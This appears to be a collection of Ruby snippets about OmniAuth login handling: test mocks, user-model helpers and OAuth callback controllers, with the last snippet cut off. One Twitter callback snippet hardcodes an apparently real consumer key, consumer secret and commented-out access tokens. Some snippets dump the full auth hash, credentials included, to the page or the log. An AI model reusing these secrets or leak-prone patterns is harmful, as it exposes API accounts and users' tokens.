"def setup\n # !!!! Once you have enabled test mode, all requests to OmniAuth will be short circuited to use the mock authentication hash.\n # A request to /auth/provider will redirect immediately to /auth/provider/callback !!!!\n OmniAuth.config.test_mode = true\n end",
"def omniauth(provider, *args); end",
"def setup\n # Once you have enabled test mode, all requests\n # to OmniAuth will be short circuited to use the mock authentication hash.\n # A request to /auth/provider will redirect immediately to /auth/provider/callback.\n OmniAuth.config.test_mode = true\n end",
"def callback_call\n setup_phase\n log :debug, 'Callback phase initiated.'\n @env['omniauth.origin'] = session.delete('omniauth.origin')\n @env['omniauth.origin'] = nil if env['omniauth.origin'] == ''\n @env['omniauth.params'] = session.delete('omniauth.params') || {}\n OmniAuth.config.before_callback_phase.call(@env) if OmniAuth.config.before_callback_phase\n callback_phase\n end",
"def callback_phase\n # Prep the urls using the account ID.\n # TODO: Could we use the :setup option and a Proc\n # to handle this rather than call here? \n set_omniauth_zendesk_urls\n\n # Continue the request as usual.\n super\n end",
"def apply_omniauth(omniauth)\n authentications.build(provider: omniauth['provider'],\n uid: omniauth['uid'],\n token: omniauth['credentials']['token'],\n secret: omniauth['credentials']['secret'])\n end",
"def apply_omniauth(omniauth)\n case omniauth['provider']\n when 'facebook'\n self.apply_facebook(omniauth)\n when 'twitter'\n self.apply_twitter(omniauth)\n end\n authentications.build(hash_from_omniauth(omniauth))\n end",
"def apply_omniauth(omniauth)\n case omniauth['provider']\n when 'facebook'\n self.apply_facebook(omniauth)\n end\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'], :token =>(omniauth['credentials']['token'] rescue nil))\n end",
"def apply_omniauth(omniauth)\n self.email = omniauth['info']['email'] if email.blank?\n self.username = omniauth['info']['name'] if username.blank?\n puts \"******************************\"\n puts omniauth\n puts \"******************************\"\n authentications.build(provider:omniauth['provider'], uid:omniauth['uid'])\n end",
"def apply_omniauth(omniauth)\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def set_omniauth(opts = {})\n default = {\n :provider => :facebook,\n :uuid => \"1234\",\n :facebook => {\n :email => \"foobar@example.com\",\n :gender => \"Male\",\n :first_name => \"foo\",\n :last_name => \"bar\"\n }\n }\n\n credentials = default.merge(opts)\n provider = credentials[:provider]\n user_hash = credentials[provider]\n\n OmniAuth.config.test_mode = true\n\n OmniAuth.config.mock_auth[provider] = {\n 'provider' => credentials[:provider],\n 'uid' => credentials[:uuid],\n \"extra\" => {\n \"user_hash\" => {\n \"email\" => user_hash[:email],\n \"first_name\" => user_hash[:first_name],\n \"last_name\" => user_hash[:last_name],\n \"gender\" => user_hash[:gender]\n }\n }\n }\nend",
"def apply_omniauth(omni)\n self.authentications.build(:provider => omni['provider'],\n :uid => omni['uid'],\n :token => omni['credentials']['token'],\n :token_secret => omni['credentials']['secret'])\n\n self.send(\"set_#{omni['provider']}_info\", omni)\n end",
"def apply_omniauth(omniauth)\n #add some info about the user\n self.login ||= omniauth['user_info']['nickname']\n self.picture_url = omniauth['user_info']['image']\n self.email ||= omniauth['user_info']['email']\n #self.nickname = omniauth['user_info']['nickname'] if nickname.blank?\n \n # unless omniauth['credentials'].blank?\n # user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n # else\n user_tokens.build(:provider => omniauth['provider'], :uid => omniauth['uid'], \n :token => omniauth['credentials']['token'], :token_secret => omniauth['credentials']['secret'])\n # end\n #self.confirm!# unless user.email.blank?\n end",
"def apply_omniauth(omniauth)\n # self.email = omniauth['info']['email'] if email.blank? # Twitter does not return an email\n authentications.build(provider: omniauth[\"provider\"], uid: omniauth[\"uid\"])\n end",
"def prepare\n remember_remember_me\n remember_signup_flow_type\n remember_signup_flow_origin_type\n remember_signup_flow_destination\n remember_signup_flow_network\n redirect_to auth_path(params[:network] || 'facebook')\n end",
"def omniauth_setup_google_auth_for(user)\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[:google_oauth2] = OmniAuth::AuthHash.new(\n provider: \"google_oauth2\",\n uid: user.uid,\n info: { \"email\" => user.email }\n )\n Rails.application.env_config[\"devise.mapping\"] = Devise.mappings[:user]\n Rails.application.env_config[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:google_oauth2]\nend",
"def setup\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[:github] = OmniAuth::AuthHash.new({:provider => 'github',:uid => '123545',:info => {:name => 'Satine', :email => 'satine@catworld.com'}})\n end",
"def apply_omniauth(omniauth)\n\t\t#puts \"omniauth #{omniauth}\"\n\t\tself.email = omniauth['info']['email'] if email.blank?\n\t\tself.username = omniauth['info']['name'] if username.blank?\n\t\tself.remote_image_url = omniauth['info']['image'] if remote_image_url.blank?\n\t\tauthentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'], :oauth_token => omniauth['credentials']['token'], :oauth_token_secret => omniauth['credentials']['secret'])\n\t\tputs \"authentication built\"\n\tend",
"def apply_omniauth(omniauth)\n authorizations.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def apply_omniauth(auth)\n self.email = auth['extra']['raw_info']['email'] if auth['extra']['raw_info']['email']\n self.password = Devise.friendly_token[0,20]\n authentications.build(:provider=>auth['provider'], :uid=>auth['uid'], :token=>auth['credentials']['token'], :secret=>auth['credentials']['secret'])\n end",
"def apply_omniauth(omniauth)\r\n self.email = omniauth['user_info']['email'] if email.blank?\r\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\r\n end",
"def create_omniauth(opts = {})\n auth = create :auth\n real_auth = auth.merge(opts)\n provider = real_auth[:provider]\n OmniAuth.config.test_mode = true\n OmniAuth.config.mock_auth[provider] = auth\nend",
"def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n apply_trusted_services(omniauth) if self.new_record?\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def strategy(name, *args, &block)\n ware = OmniAuth::Strategies.const_get(OmniAuth::Utils.camelize(name.to_s))\n Scrapple.middleware_stack.insert_before(App, ware, *args, &block)\n end",
"def apply_omniauth(omniauth)\n if omniauth['provider'] == 'facebook'\n\n #Buscar info\n self.email = omniauth['info']['email']\n self.name = omniauth['info']['name']\n\n #location é composto por \"Cidade, Pais\"\n if omniauth['info']['location'] != nil\n location = omniauth['info']['location'].split(\", \")\n else\n location = ''\n end\n #location = omniauth['info']['location'].split(\", \")\n\n #buscar cidade do location\n\n city = City.find_by city: location[0]\n if city != nil\n \tself.city = city\n end\n\n\n #buscar imagem\n #if omniauth['info']['image']!=nil\n # self.avatar = URI.parse(omniauth['info']['image'])\n #end\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n elsif omniauth['provider'] == 'twitter'\n #Buscar info\n self.name = omniauth['info']['name']\n\n #buscar cidade do location\n city = City.find_by city: omniauth['info']['location']\n if city != nil\n \tself.city = city\n end\n\n #buscar imagem\n #if omniauth['info']['image']!=nil\n # self.avatar = URI.parse(omniauth['info']['image'])\n #end\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n elsif omniauth['provider'] == 'google_oauth2'\n #Buscar info\n self.email = omniauth['info']['email']\n self.name = omniauth['info']['name']\n\n #Google não contem cidade\n\n omni_authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end\n\n end",
"def apply_omniauth(omniauth)\n self.email = omniauth['user_info']['email'] if email.blank?\n\n if nick.blank?\n self.nick = (omniauth['user_info']['first_name'] || omniauth['user_info']['nickname'] ||\n omniauth['user_info']['name'] ||omniauth['user_info']['email'])\n end\n\n self.email_alert = false\n self.sms_alert = false\n self.weekend = false\n\n authentications.build(:provider => omniauth['provider'], :uid => omniauth['uid'])\n end",
"def configure_backend!(config, backend, id = nil, secret = nil)\n return unless Rails.env.test? || APP_CONFIG.enabled?(\"oauth.#{backend}\")\n\n options = send(\"#{backend}_fetch_options\")\n\n if id\n config.omniauth backend, id, secret, options\n else\n config.omniauth backend, options\n end\nend",
"def prepare\n reset\n\n yield self if block_given?\n\n # Since the OAuth flow is performed by the browser, we'll need to boot\n # the Sinatra app instead of just stubbing the app with WebMock...\n boot_once\n\n OmniAuth::Strategies::Icalia.instances.each do |strategy|\n strategy.options.client_options.tap do |options|\n options.site = url\n options.token_url = \"#{url}/oauth/token\"\n options.authorize_url = \"#{url}/oauth/authorize\"\n end\n end\n end",
"def add_omniauth(auth)\n self.authentications.find_or_create_by(\n provider: auth['provider'],\n uid: auth['uid'].to_s\n )\n end",
"def create_omniauth\n omniauth_params = request.env['omniauth.params']\n if omniauth_params && org_uid = omniauth_params['state']\n organization = Maestrano::Connector::Rails::Organization.find_by_uid_and_tenant(org_uid, current_user.tenant)\n if organization && is_admin?(current_user, organization) && response = request.env['omniauth.auth']\n shop_name = response.uid\n organization.from_omniauth(response)\n organization.instance_url = \"https://#{shop_name}/admin\"\n organization.save!\n\n token = response['credentials']['token']\n Shopify::Webhooks::WebhooksManager.queue_create_webhooks(org_uid, shop_name, token)\n\n end\n end\n redirect_to root_url\n end",
"def create_from_oauth\n if stored_anonymous_user?\n user, from_registration = update_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n else\n user, from_registration = create_from_omniauth(env[\"omniauth.auth\"], params[:provider])\n end\n\n if user.errors.any?\n redirect_to_registration_page(user)\n else\n change_global_user_id(user.id)\n sign_in(user)\n fandom_play_login(user)\n \n if from_registration\n log_data = { 'form_data' => env[\"omniauth.auth\"], 'user_id' => current_user.id }\n log_synced(\"registration from oauth\", adjust_user_and_log_data_with_utm(user, log_data))\n\n set_account_up()\n cookies[:from_registration] = true \n end\n\n if $site.force_facebook_tab && !request_is_from_mobile_device?(request)\n redirect_to request.site.force_facebook_tab\n else\n redirect_after_oauth_successful_login()\n end\n end\n end",
"def setup\n OmniAuth.config.test_mode = true\n end",
"def setup\n OmniAuth.config.test_mode = true\n end",
"def setup_data(login_as: :provider)\n @provider = FactoryBot.create(:provider_account)\n @buyer = FactoryBot.create(:buyer_account, provider_account: @provider, timezone: 'Mountain Time (US & Canada)')\n @app_plan = FactoryBot.create(:application_plan, issuer: @provider.default_service)\n @app = @buyer.buy! @app_plan\n\n host! @provider.external_admin_domain\n\n case login_as\n when :provider\n login_provider @provider\n when :buyer\n login_buyer @buyer\n end\n end",
"def create_omniauth\n org_uid = params[:state]\n organization = Maestrano::Connector::Rails::Organization.find_by_uid_and_tenant(org_uid, current_user.tenant)\n\n if organization && is_admin?(current_user, organization)\n organization.from_omniauth(env[\"omniauth.auth\"])\n\n # Fetch SalesForce user details\n user_details = Maestrano::Connector::Rails::External.fetch_user(organization)\n current_user.update_attribute(:locale, user_details['locale'])\n current_user.update_attribute(:timezone, user_details['timezone'])\n\n # Fetch SalesForce company name\n company = Maestrano::Connector::Rails::External.fetch_company(organization)\n organization.update_attribute(:oauth_name, company['Name'])\n organization.update_attribute(:oauth_uid, company['Id'])\n end\n\n redirect_to root_url\n end",
"def register_middleware(omniauth)\n raise NotImplementedError\n end",
"def create_authentication(omniauth)\n authentications.create! do |a|\n a.provider = omniauth.provider\n a.uid = omniauth.uid\n end\n end",
"def mock_omniauth(provider, test_mode=true)\n\n # call method with mock values and attributes for given provider\n params_provider = send(\"params_#{provider}\")\n\n # deactivate test_mode\n OmniAuth.config.test_mode = test_mode ? true : false\n\n #deliver omniauth mock credentials\n OmniAuth.config.add_mock(provider.to_sym, params_provider)\n end",
"def omniauth_with(&blk)\n @omniauth_cb = blk if blk\n @omniauth_cb\n end",
"def create\n omniauth = request.env['omniauth.auth']\n authparams = ActionController::Parameters.new(omniauth.slice 'provider', 'uid').permit('provider', 'uid')\n # Our query parameters appear in env['omniauth.params']\n if origin_url = request.env['omniauth.origin'] # Remove any enclosing quotes\n origin_url.sub! /^\"?([^\"]*)\"?/, '\\\\1'\n end\n # Originator is where we came from, so we can go back there if login fails\n if originator = request.env['omniauth.params']['originator'] # Remove any enclosing quotes\n originator.sub! /^\"?([^\"]*)\"?/, '\\\\1'\n end\n # Check for existing authorization\n @authentication = Authentication.find_by_provider_and_uid(omniauth['provider'], omniauth['uid'])\n (info = omniauth['info']) && (email = info['email']) && (user = User.find_by_email(email))\n intention = request.env['omniauth.params']['intention'] # If intention is 'signup', don't accept existing authentications\n if intention == \"signup\"\n if @authentication || user # This authentication method already in use\n flash[:notice] = \"That #{omniauth.provider.capitalize} login is already in use on RecipePower.<br>Perhaps you just need to sign in?\"\n response_service.amend originator\n url_to = originator\n else # No user and no authentication: perfect\n # Just create the account, getting what we can get out of the authorization info\n (user = User.new).apply_omniauth(omniauth)\n response_service.amend originator\n if user.save\n @authentication = user.authentications.create!(authparams) # Link authorization to user\n sign_in user, :event => :authentication\n response_service.user = user\n SignupEvent.post user # RpMailer.welcome_email(user).deliver\n flash[:notice] =\n %Q{Welcome to RecipePower, #{user.polite_name}! Introductory email is on its way. }\n url_to = after_sign_in_path_for(user)\n else\n # If user can't be saved, go back to edit params\n url_to = response_service.decorate_path(new_user_registration_url)\n end\n end\n # Intention is not signing up\n elsif current_user\n if @authentication # Authentication already in use\n if @authentication.user == current_user\n flash[:notice] = \"You're already connected through #{@authentication.provider_name}!\"\n else\n flash[:notice] = \"Sorry, your current #{@authentication.provider_name} login is tied to another RecipePower user.\"\n end\n else\n # Add the authentication method to the current user. We return to the authentications dialog\n current_user.apply_omniauth(omniauth)\n @authentication = current_user.authentications.create!(authparams) # Link to existing user\n flash[:notice] = \"Yay! You're now connected to RecipePower through #{@authentication.provider_name}.\"\n end\n url_to = origin_url\n elsif @authentication\n flash[:notice] = \"Yay! Signed in with #{@authentication.provider_name}. Welcome back, #{@authentication.user.handle}!\"\n sign_in @authentication.user, :event => :authentication\n response_service.amend originator\n url_to = after_sign_in_path_for(@authentication.user)\n # This is a new authentication (not previously linked to a user) and there is\n # no current user to link it to. It's possible that the authentication will come with\n # an email address which we can use to log the user in.\n elsif user\n user.apply_omniauth(omniauth)\n @authentication = user.authentications.create!(authparams) # Link to existing user\n sign_in user, :event => :authentication\n flash[:notice] = \"Yay! Signed in with #{@authentication.provider_name}. Nice to see you again, #{user.handle}!\"\n response_service.amend originator\n url_to = after_sign_in_path_for(user)\n end\n # We haven't managed to get the user signed in by other means, but we still have an authorization\n if !(current_user || user) # Failed login not because of failed invitation\n # The email didn't come in the authorization, so we now need to\n # discriminate between an existing user(and have them log in)\n # and a new user (and have them sign up). Time to throw the problem\n # over to the user controller, providing it with the authorization.\n session[:omniauth] = omniauth.except('extra')\n flash[:notice] = \"Hmm, apparently that service isn't linked to your account. If you log in by other means (perhaps you need to create an account?), you can link that service in Sign-In Services\"\n url_to = originator || new_user_session_path\n end\n # response_service.amend origin_url # Amend response expectations according to the originating URL\n render 'callback', :layout => false, :locals => { url_to: url_to }\n end",
"def create\n # get the service parameter from the Rails router\n params[:service] ? service_route = params[:service] : service_route = 'No service recognized (invalid callback)'\n\n # get the full hash from omniauth\n omniauth = request.env['omniauth.auth']\n \n # continue only if hash and parameter exist\n if omniauth and params[:service]\n\n # map the returned hashes to our variables first - the hashes differs for every service\n \n # create a new hash\n @authhash = Hash.new\n \n if service_route == 'facebook'\n omniauth['extra']['user_hash']['email'] ? @authhash[:email] = omniauth['extra']['user_hash']['email'] : @authhash[:email] = ''\n omniauth['extra']['user_hash']['name'] ? @authhash[:name] = omniauth['extra']['user_hash']['name'] : @authhash[:name] = ''\n omniauth['extra']['user_hash']['id'] ? @authhash[:uid] = omniauth['extra']['user_hash']['id'].to_s : @authhash[:uid] = ''\n omniauth['provider'] ? @authhash[:provider] = omniauth['provider'] : @authhash[:provider] = ''\n elsif service_route == 'github'\n omniauth['user_info']['email'] ? @authhash[:email] = omniauth['user_info']['email'] : @authhash[:email] = ''\n omniauth['user_info']['name'] ? @authhash[:name] = omniauth['user_info']['name'] : @authhash[:name] = ''\n omniauth['extra']['user_hash']['id'] ? @authhash[:uid] = omniauth['extra']['user_hash']['id'].to_s : @authhash[:uid] = ''\n omniauth['provider'] ? @authhash[:provider] = omniauth['provider'] : @authhash[:provider] = '' \n elsif ['google', 'yahoo', 'twitter', 'myopenid', 'open_id'].index(service_route) != nil\n omniauth['user_info']['email'] ? @authhash[:email] = omniauth['user_info']['email'] : @authhash[:email] = ''\n omniauth['user_info']['name'] ? @authhash[:name] = omniauth['user_info']['name'] : @authhash[:name] = ''\n omniauth['uid'] ? @authhash[:uid] = omniauth['uid'].to_s : @authhash[:uid] = ''\n omniauth['provider'] ? @authhash[:provider] = omniauth['provider'] : @authhash[:provider] = ''\n\n#CHANGE THIS!\n\n\tsession['yahoo'] = 'sessoin_yahoo'\n\tif service_route == 'yahoo'\n\t\tsession['yahoo'] = omniauth #['credentials']\n\tend\n\n\n else \n # debug to output the hash that has been returned when adding new services\n render :text => omniauth.to_yaml\n return\n end \n \n if @authhash[:uid] != '' and @authhash[:provider] != ''\n \n auth = Service.find_by_provider_and_uid(@authhash[:provider], @authhash[:uid])\n\n # if the user is currently signed in, he/she might want to add another account to signin\n if user_signed_in?\n if auth\n flash[:notice] = 'Your account at ' + @authhash[:provider].capitalize + ' is already connected with this site.'\n redirect_to services_path\n else\n current_user.services.create!(:provider => @authhash[:provider], :uid => @authhash[:uid], :uname => @authhash[:name], :uemail => @authhash[:email])\n flash[:notice] = 'Your ' + @authhash[:provider].capitalize + ' account has been added for signing in at this site.'\n\t\tif service_route == 'facebook'\n\n\t\t\tredirect_to services_facebook_redirect_path\n\t\telse\n \t\tredirect_to services_path\n\n\n\t\tend\n\n\n end\n else\n if auth\n # signin existing user\n # in the session his user id and the service id used for signing in is stored\n session[:user_id] = auth.user.id\n session[:service_id] = auth.id\n\tif service_route == 'twitter'\n\n\t\tsession['twitter_token'] = omniauth['credentials']['token']\n\t\tsession['twitter_secret'] = omniauth['credentials']['secret']\n\t\tb = Atokens.new()\n\t\tb.user_id = session[:user_id]\n\t\tb.a_token = session[\"twitter_token\"]\n\t\tb.provider = \"twitter_token\"\n\t\tb.save()\n\t\tc = Atokens.new()\n\t\tc.user_id = session[:user_id]\n\t\tc.a_token = session[\"twitter_secret\"]\n\t\tc.provider = \"twitter_secret\"\n\t\tc.save()\n\n\t\tTwitter.configure do |config|\n \t config.consumer_key = '4lAKFHIlvPuYWkHQZXGlg'\n \tconfig.consumer_secret = 'FfVTgOnHHIXsd7LMfAtfUvA6cXsVRQjAtjAqSj3Kq0s'\n\t config.oauth_token = session['twitter_token'] #'549918712-NNIxCOlwI7wFkKvsCp6cuvs4JinHdJGVFbWecxLj' #'539297038-F3oni2AgmObm367GOz6Zm1VhG4Dts2gMc2hAhvrd'\n \t config.oauth_token_secret = session['twitter_secret'] #'5MQQiJR3EJYSTn6eih1MzZH81nscNNtpLHtM9tJc' #'P8IiObz0V71qa79s3GNLqGpbF9ccQXw9Jz8kIxvV58'\n \tend\n\t\t@twitterFeed = Twitter.home_timeline(:count => 11)\n\t\t\t\t@old = OldTwit.new\n @old.name = current_user.name #session['authhash']['name'] #'name22' \n @old.tdata = ActiveSupport::JSON.encode(@twitterFeed)\n @old.save\n\n\tend\n \n flash[:notice] = 'Signed in successfully via ' + @authhash[:provider].capitalize + '.'\n\t\tif service_route == 'facebook' #session[:authhash][:provider] == 'facebook'\n\t\t\tredirect_to services_facebook_redirect_path\n\t\telse\n \t\tredirect_to services_test_path\n\t\tend\n else\n # this is a new user; show signup; @authhash is available to the view and stored in the sesssion for creation of a new user\n session[:authhash] = @authhash\n render signup_services_path\n end\n end\n else\n flash[:error] = 'Error while authenticating via ' + service_route + '/' + @authhash[:provider].capitalize + '. The service returned invalid data for the user id.'\n redirect_to signin_path\n end\n else\n flash[:error] = 'Error while authenticating via ' + service_route.capitalize + '. The service did not return valid data.'\n redirect_to signin_path\n end\n end",
"def apply_trusted_services(omniauth) \n # Merge user_info && extra.user_info\n user_info = omniauth['user_info']\n\n if omniauth['extra'] && omniauth['extra']['user_hash']\n user_info.merge!(omniauth['extra']['user_hash'])\n end \n\n # try name or nickname\n if self.name.blank?\n self.name = user_info['name'] unless user_info['name'].blank?\n self.name ||= user_info['nickname'] unless user_info['nickname'].blank?\n self.name ||= (user_info['first_name'] + \" \" + user_info['last_name']) unless \\\n user_info['first_name'].blank? || user_info['last_name'].blank?\n end \n\n if self.email.blank?\n self.email = user_info['email'] unless user_info['email'].blank?\n # if user_info['email'].present?\n # self.email = user_info['email'] unless user_info['email'].blank?\n # else\n # self.email = \"#{Time.now.to_i}#{rand(777)}@roomieapp.com\"\n # end\n end \n\n # Set a random password for omniauthenticated users\n self.password, self.password_confirmation = String::RandomString(16)\n\n end",
"def redirect_callbacks\n setup_env_params\n\n session['dta.omniauth.auth'] = request.env['omniauth.auth']\n .except('extra')\n session['dta.omniauth.params'] = omniauth_params\n tweak_session_attrs\n has_params = session['dta.omniauth.params']\n\n redirect_to action: has_params ? 'omniauth_success' : 'omniauth_failure'\n end",
"def user_provider; end",
"def do_adapter_specific_setup; end",
"def setup_env_params\n unless request.env.key?('omniauth.params')\n request.env['omniauth.params'] = {}\n end\n request.env['omniauth.params']['namespace_name'] = nil\n request.env['omniauth.params']['resource_class'] = 'User'\n end",
"def apply_trusted_services(omniauth, confirmation) \n # Merge user_info && extra.user_info\n user_info = omniauth['user_info'] ? omniauth['user_info'] : omniauth['info']\n if omniauth['extra'] && omniauth['extra']['user_hash']\n user_info.merge!(omniauth['extra']['user_hash'])\n end \n if omniauth['extra'] && omniauth['extra']['raw_info']\n user_info.merge!(omniauth['extra']['raw_info'])\n end \n # try name or nickname\n if self.name.blank?\n self.name = user_info['name'] unless user_info['name'].blank?\n self.name ||= user_info['nickname'] unless user_info['nickname'].blank?\n self.name ||= (user_info['first_name']+\" \"+user_info['last_name']) unless \\\n user_info['first_name'].blank? || user_info['last_name'].blank?\n end \n if self.email.blank?\n self.email = user_info['email'] unless user_info['email'].blank?\n end \n # Set a random password for omniauthenticated users\n self.password, self.password_confirmation = Devise.friendly_token\n if (confirmation) \n self.confirmed_at, self.confirmation_sent_at = Time.now \n end\n end",
"def create_authentication(omniauth)\n authentications.create! do |a|\n a.provider = omniauth.provider\n a.uid = omniauth.uid\n end\n end",
"def user_provider=(_arg0); end",
"def orcid_shenanigans\n @auth_hash = request.env['omniauth.auth']\n @params = request.env['omniauth.params']\n if @params['origin'] == 'metadata'\n metadata_callback\n elsif @params['invitation'] && @params['identifier_id']\n orcid_invitation\n end\n setup_orcid\n end",
"def set_google_omniauth(email = \"personal@example.com\", opts = {})\n default = {provider: :google_oauth2,\n uuid: \"1234\",\n google_oauth2: {\n email: email,\n gender: \"male\",\n first_name: \"eco\",\n last_name: \"work\",\n name: \"ecowork\",\n locale: \"en\"\n }\n }\n\n credentials = default.merge(opts)\n provider = credentials[:provider]\n user_hash = credentials[provider]\n\n OmniAuth.config.test_mode = true\n\n OmniAuth.config.mock_auth[provider] = OmniAuth::AuthHash.new({\n \"uid\" => credentials[:uuid],\n \"provider\" => credentials[:provider],\n \"info\" => {\n \"email\" => user_hash[:email],\n \"first_name\" => user_hash[:first_name],\n \"last_name\" => user_hash[:last_name],\n \"name\" => user_hash[:name]\n },\n \"extra\" => {\n \"raw_info\" => {\n \"gender\" => user_hash[:gender],\n \"locale\" => user_hash[:locale]\n }\n }\n })\nend",
"def setup_warden_additions\n @failure_app = Oath::Lockdown::FailureApp\n @lockable_authentication_strategy = Oath::Lockdown::Strategies::LockablePasswordStrategy\n @remember_me_authentication_strategy = Oath::Lockdown::Strategies::RememberMeStrategy\n @warden_authentication_strategies = [:oath_remember_me, :oath_lockable, :oath]\n @warden_no_input_authentication_strategies = [:oath_remember_me]\n end",
"def bootstrap\n STDERR.puts \"My oauth authorization URL is: #{@bot.invite_url}\"\n load_plugins\n end",
"def callback\n # first, load the state (redirect_url, access_token)\n state = params[:state] ? LinkedAccount::Base.decode_state(params[:state]) : {}\n\n # set @linked_account, @redirect_url, and optionally @person\n case params.try(:[], :provider)\n when 'github'\n @linked_account = LinkedAccount::Github::User.find_or_create_via_oauth_code params[:code]\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'facebook'\n @linked_account = LinkedAccount::Facebook.find_or_create_via_oauth_code params[:code]\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'twitter'\n @linked_account = LinkedAccount::Twitter.find_or_create_via_oauth_token_and_verifier(params[:oauth_token], params[:oauth_verifier])\n @person = Person.find_by_access_token(state[:access_token])\n @redirect_url = state[:redirect_url]\n\n when 'gittip', 'gratipay'\n @linked_account = LinkedAccount::Gittip.find_by_oauth_token params[:external_access_token]\n @person = Person.find_by_access_token(params[:gittip_access_token] || params[:gratipay_access_token])\n @redirect_url = params.delete :redirect_url\n end\n\n # run through all of the use cases\n if @person && (@person == @linked_account.person)\n # nothing to do... @person is already logged in and linked to this account.\n opts = { status: 'linked', access_token: @person.create_access_token(request) }\n elsif @person && !@linked_account.person\n # should be safe to link this account to the logged in @person\n @linked_account.link_with_person(@person)\n opts = { status: 'linked', access_token: @person.create_access_token(request) }\n elsif @person\n # error! @person logged in but not the same as @linked_account.person\n opts = { status: 'error_already_linked' }\n elsif @linked_account.person\n opts = { status: 'linked', access_token: @linked_account.person.create_access_token(request) }\n\n # Alias Person ID with randomly generated Mixpanel distinct_id.\n unless state[:mp_id].blank?\n begin\n MixpanelAlias.claim(@linked_account.person.id, state[:mp_id])\n rescue MixpanelAlias::AlreadyClaimed\n opts[:reset_mixpanel_id] = true\n end\n end\n\n else\n # nobody logged in, and no person on this account... they need to create an account\n opts = {\n status: 'error_needs_account',\n email_is_registered: !!Person.find_by_email(@linked_account.email),\n account_link_id: \"#{params[:provider]}:#{@linked_account.create_access_token}\",\n first_name: @linked_account.first_name,\n last_name: @linked_account.last_name,\n email: @linked_account.email,\n image_url: @linked_account.image_url,\n display_name: @linked_account.login\n }\n end\n\n # redirect, should be provider-agnostic\n raise MissingRequiredParams, :redirect_url unless Rails.env.development? || (@redirect_url =~ WHITELISTED_REDIRECT_URL)\n\n # tack on params\n redirect_to @redirect_url + (@redirect_url['?'] ? '&' : '?') + opts.to_param\n end",
"def apply_omniauth(omniauth)\n info = omniauth[\"info\"]\n\n user_name = %Q(#{info[\"first_name\"]} #{info[\"last_name\"]})\n user_name.gsub!(/\\s+/, \" \").strip!\n\n self.provider = omniauth[\"provider\"]\n self.uid = omniauth[\"uid\"]\n self.name = user_name if self.name.blank?\n self.email = info[\"email\"] if info[\"email\"] && self.email.blank?\n self\n end",
"def mock_auth_accounts\n OmniAuth.config.mock_auth[:facebook] =\n OmniAuth::AuthHash.new(\n provider: 'facebook',\n uid: 'facebook-test-uid-1',\n info: {\n name: 'facebook user',\n email: 'user-facebook@example.com',\n username: 'user_facebook'\n },\n credentials: {\n token: 'fb_mock_token',\n secret: 'fb_mock_secret'\n }\n )\n\n OmniAuth.config.mock_auth[:google] =\n OmniAuth::AuthHash.new(\n provider: 'google',\n uid: 'google-test-uid-1',\n info: {\n name: 'google user',\n email: 'user-google@example.com',\n username: 'user_google'\n },\n credentials: {\n token: 'google_mock_token',\n secret: 'google_mock_secret'\n }\n )\n\n OmniAuth.config.mock_auth[:suse] =\n OmniAuth::AuthHash.new(\n provider: 'suse',\n uid: 'suse-test-uid-1',\n info: {\n name: 'suse user',\n email: 'user-suse@example.com',\n username: 'user_suse'\n },\n credentials: {\n token: 'suse_mock_token',\n secret: 'suse_mock_secret'\n }\n )\n\n OmniAuth.config.mock_auth[:github] =\n OmniAuth::AuthHash.new(\n provider: 'github',\n uid: 'github-test-uid-1',\n info: {\n name: 'github user',\n email: 'user-github@example.com',\n username: 'user_github'\n },\n credentials: {\n token: 'github_mock_token',\n secret: 'github_mock_secret'\n }\n )\n end",
"def identify\n @user = User.new\n if omniauth = session[:omniauth]\n @provider = omniauth.provider.capitalize\n @user.apply_omniauth(omniauth)\n end\n end",
"def setup\n @event = Event.create(eventName: \"socialLogin\")\n @referral = Referral.create(referredBy: \"http://www.jumpstartlabs.com\")\n @request = Request.create(requestType: \"GET\")\n @resolution = Resolution.create(resolutionWidth: \"1920\", resolutionHeight: \"1280\")\n @url = Url.create(url: \"http://www.jumpstartlabs.com\")\n @user_agent = UserAgent.create(userAgent: \"Mozilla/5.0 (Macintosh%3B Intel Mac OS X 10_8_2) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1309.0 Safari/537.17\")\n @user = User.create(identifier: \"jumpstartlab\", rootUrl: \"hweoaw;eofiawofhawef\")\n end",
"def process_authentication\n\n omniauth = request.env[\"omniauth.auth\"]\n Rails.logger.info(\"[CNTRL][Authentications] Auth process callback #{params} omniauth #{omniauth}\")\n\n if omniauth.nil?\n #TODO: Send back to sign in\n Rails.logger.info(\"[CNTRL][Authentications] Omni auth is nil, back to home\")\n redirect_to \"/\"\n end\n\n provider = params['provider']\n uid = omniauth['uid']\n\n already_existing_auth = Authentication.find_by_provider_and_uid(provider, uid)\n\n if already_existing_auth.nil?\n Rails.logger.info(\"[CNTRL][Authentications] A new foreign auth\")\n if user_signed_in?\n\n Rails.logger.info(\"[CNTRL][Authentications] User is already signed in #{current_user.full_name}\")\n\n query_hash = {}\n query_hash[provider] = uid \n invite_status = Invite.check_if_invite_exists(query_hash)\n\n \n\n any_existing_auth_for_same_provider = current_user.authentications.find_by_provider(provider)\n if any_existing_auth_for_same_provider.nil?\n Rails.logger.info(\"[CNTRL][Authentications] No existing auth for #{provider} for user\")\n authentication=Authentication.create(:provider=>provider,\n :uid=>uid,\n :token=> omniauth['credentials']['token'],\n :secret=> omniauth['credentials']['secret'],\n :user_id=>current_user.id)\n\n Rails.logger.info(\"[CNTRL][Authentications] Cache the new foreign profile\")\n authentication.foreign_profile = ForeignProfile.new\n 